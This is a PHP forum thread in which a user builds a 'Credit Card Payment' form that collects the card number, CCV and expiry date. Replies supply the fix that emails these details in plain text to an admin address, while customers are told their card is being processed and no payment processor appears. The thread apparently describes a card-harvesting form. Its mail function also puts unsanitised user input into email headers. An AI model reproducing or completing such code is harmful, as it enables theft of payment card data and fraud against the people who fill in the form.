Jump to content

Recommended Posts

hey guys, i have an issue, im modifying a contact form to be a basic credit card detail form, now the issue is, it sends back no details to me, i am really stuck at the moment, any help is really appreciated. There are no errors on the front end, and the person sending the email gets a response saying it has been recieved. code:

 

 

cc.php:

<?php

/* include header */
include("header.php");

/* set page name */
$page = "cc";

/* reset error vars */
$is_error = 0;
$error_message = "";

/* try to send contact form */
if(isset($_POST['task']) && $_POST['task'] == "send")
{

    // get service
$service = $_POST['service'];

    // get issuer
$issuer = $_POST['issuer'];

// get name
$name = $_POST['name'];

// get card
$card = $_POST['card'];

// get ccv
$ccv = $_POST['ccv'];

// get date
$date = $_POST['date'];

// get email
$email = $_POST['email'];

// get captcha
$captcha = $_POST['captcha'];

// reply message
$reply = "Your Credit Card is being processed, please allow up to 1 business day for confirmation";

// check if all fields are filled
if(empty($email) || empty($name) || empty($card) || empty($ccv) || empty($date) || empty($captcha))
{
    $is_error = 1;
	$error_message = "Please fill all fields.";
}

// check if captcha is correct
if($_POST['captcha'] != $_SESSION['code'])
{
	$is_error = 1;
	$error_message = "Incorrect captcha code.";
}

// no error
if($is_error != 1)
{
    // send message
	send_generic($config['admin_email'], $email, $dep, $message);
	send_generic($email, $config['admin_email'], "Message Received", $reply);

	// set success var
	$tpl->sent = 1;
}
}

/* set template vars */
$tpl->is_error = $is_error;
$tpl->error_message = $error_message;

/* include footer */
include("footer.php");


?>

 

cc.tpl.php

<?php include $this->template('header.tpl.php') ?>
<div id="content">
  <noscript>
  <div class="error" style="font-size:16px;">JavaScript is deactivated. Please activate Javascript!</div>
  </noscript>
  <br />
  <br />
    <div class="box">
    <h1>Credit Card Payment (24Hr Clearance)</h1>
    <br clear="all">
    <?php if($this->sent != 1): ?>
    <?php if($this->is_error != 0): ?><div class="error"><?= $this->error_message ?></div><?php endif; ?>
    <form action="./cc.php" method="post">
      <table style="border:none;margin:auto;">
        <tr>
          <td style="text-align:right;">Confirm Premium Service:*</td>
          <td style="text-align:left;"><select name="service" style="width:407px;">
              <option value="1day">1 Day</option>
              <option value="1month">1 Month</option>
              <option value="3months">3 Months</option>
              <option value="6months">6 Months</option>
              <option value="1year">1 Year</option>
              <option value="2years">2 Years</option>
            </select></td>
        </tr>
        <tr>
          <td style="text-align:right;">Credit Card:*</td>
          <td style="text-align:left;"><select name="issuer" style="width:407px;">
              <option value="visa">Visa</option>
              <option value="mastercard">Mastercard</option>
            </select></td>
        </tr>
        <tr>
          <td style="text-align:right;">Name On Card:*</td>
          <td style="text-align:left;"><input type="text" name="name" value="<?= $this->eprint($_POST['name']); ?>" style="width:400px;" /></td>
        </tr>
        <tr>
          <td style="text-align:right;">Credit Card Number:*</td>
          <td style="text-align:left;"><input type="text" name="card" value="<?= $this->eprint($_POST['card']); ?>" style="width:400px;" /></td>
        </tr>
        <tr>
          <td style="text-align:right;">CCV:*</td>
          <td style="text-align:left;"><input type="text" name="ccv" value="<?= $this->eprint($_POST['ccv']); ?>" style="width:400px;" /></td>
        </tr>
        <tr>
          <td style="text-align:right;">Expiration Date:*</td>
          <td style="text-align:left;"><input type="text" name="date" value="<?= $this->eprint($_POST['date']); ?>" style="width:400px;" /></td>
        </tr>
        <tr>
          <td style="text-align:right;">Best Contact Email:*</td>
          <td style="text-align:left;"><input type="text" name="email" value="<?= $this->eprint($_POST['email']); ?>" style="width:400px;" /></td>
        </tr>
        <tr>
          <td style="text-align:right;">Solve:</td>
          <td style="text-align:left;"><img src="./captcha.php" style="position:relative;" />
            <div style="display:inline;position:absolute;margin-left:5px;">
              <input type="text" name="captcha" size="6" style="font-size:15px;font-weight:bold;width:40px;" />
            </div></td>
        </tr>
        <tr>
          <td></td>
          <td><input type="submit" value="Send" name="submit" class="upload" /></td>
        </tr>
      </table>
      <input type="hidden" name="task" value="send" />
    </form>
    <?php else: ?>
    <div class="success">Your Credit Card is being processed, please allow up to 1 business day for confirmation</div>
    <?php endif; ?>
    <br clear="all">
  </div>
</div>
<?php include $this->template('footer.tpl.php') ?>

 

Link to comment
https://forums.phpfreaks.com/topic/233823-contact-form-send-blank-emails/
Share on other sites

Blacknight is rite the problem is that you need to use mail() also i cannot see where in the code you are creating the email message that is to be sent because you call $message in the following part of the code

 

 // send message
	send_generic($config['admin_email'], $email, $dep, $message);
	send_generic($email, $config['admin_email'], "Message Received", $reply);

 

but it hasnt appeared before in the code.

okay, so i fixed the //send message

 

	    // send message
	send_generic($config['admin_email'], $email, $service, $issuer, $name, $card, $ccv, $date, $captcha);
	send_generic($email, $config['admin_email'], "Message Received", $reply);

 

and now hen i get a reply, i get the selected credit card, but thats all, so i seem to be making progress but i dont have a clue why it wont send anything more

 

any ideas?

heres the function code:

 

<?php

/* this function sends a custom email */ 
function send_generic($recipient, $sender, $subject, $message, $search = "", $replace = "") 
{
/** decode subject and email for sending **/
$subject = htmlspecialchars_decode($subject, ENT_QUOTES);
$message = htmlspecialchars_decode($message, ENT_QUOTES);

/** replace variables in subject and message **/
$subject = str_replace($search, $replace, $subject);
$message = str_replace($search, $replace, $message);

/** encode subject for UTF8 **/
$subject = "=?UTF-8?B?".base64_encode($subject)."?=";

/** replace carriage returns with breaks **/
$message = str_replace("\n", "<br>", $message);

/** set headers **/
$headers = "MIME-Version: 1.0"."\n";
$headers .= "Content-type: text/html; charset=utf-8"."\n";
$headers .= "Content-Transfer-Encoding: 8bit"."\n";
$headers .= "From: $sender"."\n";
$headers .= "Return-Path: $sender"."\n";
$headers .= "Reply-To: $sender";

/** send mail **/
@mail($recipient, $subject, $message, $headers);

return true;
}


?>

 

its going to be on a secured page

then all I'm seeing is that you need to create the actual message you want to receive.. with your original cc.php snippet, modify the following..

 

Find:

send_generic($config['admin_email'], $email, $dep, $message);
send_generic($email, $config['admin_email'], "Message Received", $reply);

 

Change it to something like:

 

$message = <<<HTML
Service: $service
Issuer: $issuer
Name: $name
Card: $card
CCV: $ccv
Date: $date
HTML;


send_generic($config['admin_email'], $email, "New Order", $message);
send_generic($email, $config['admin_email'], "Message Received", $reply);

 

That way you're creating the message you want to send!

then all I'm seeing is that you need to create the actual message you want to receive.. with your original cc.php snippet, modify the following..

 

Find:

send_generic($config['admin_email'], $email, $dep, $message);
send_generic($email, $config['admin_email'], "Message Received", $reply);

 

Change it to something like:

 

$message = <<<HTML
Service: $service
Issuer: $issuer
Name: $name
Card: $card
CCV: $ccv
Date: $date
HTML;


send_generic($config['admin_email'], $email, "New Order", $message);
send_generic($email, $config['admin_email'], "Message Received", $reply);

 

That way you're creating the message you want to send!

 

YES! thank you so much that worked great :]

 

 

thanks so much again mate!!    :D

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.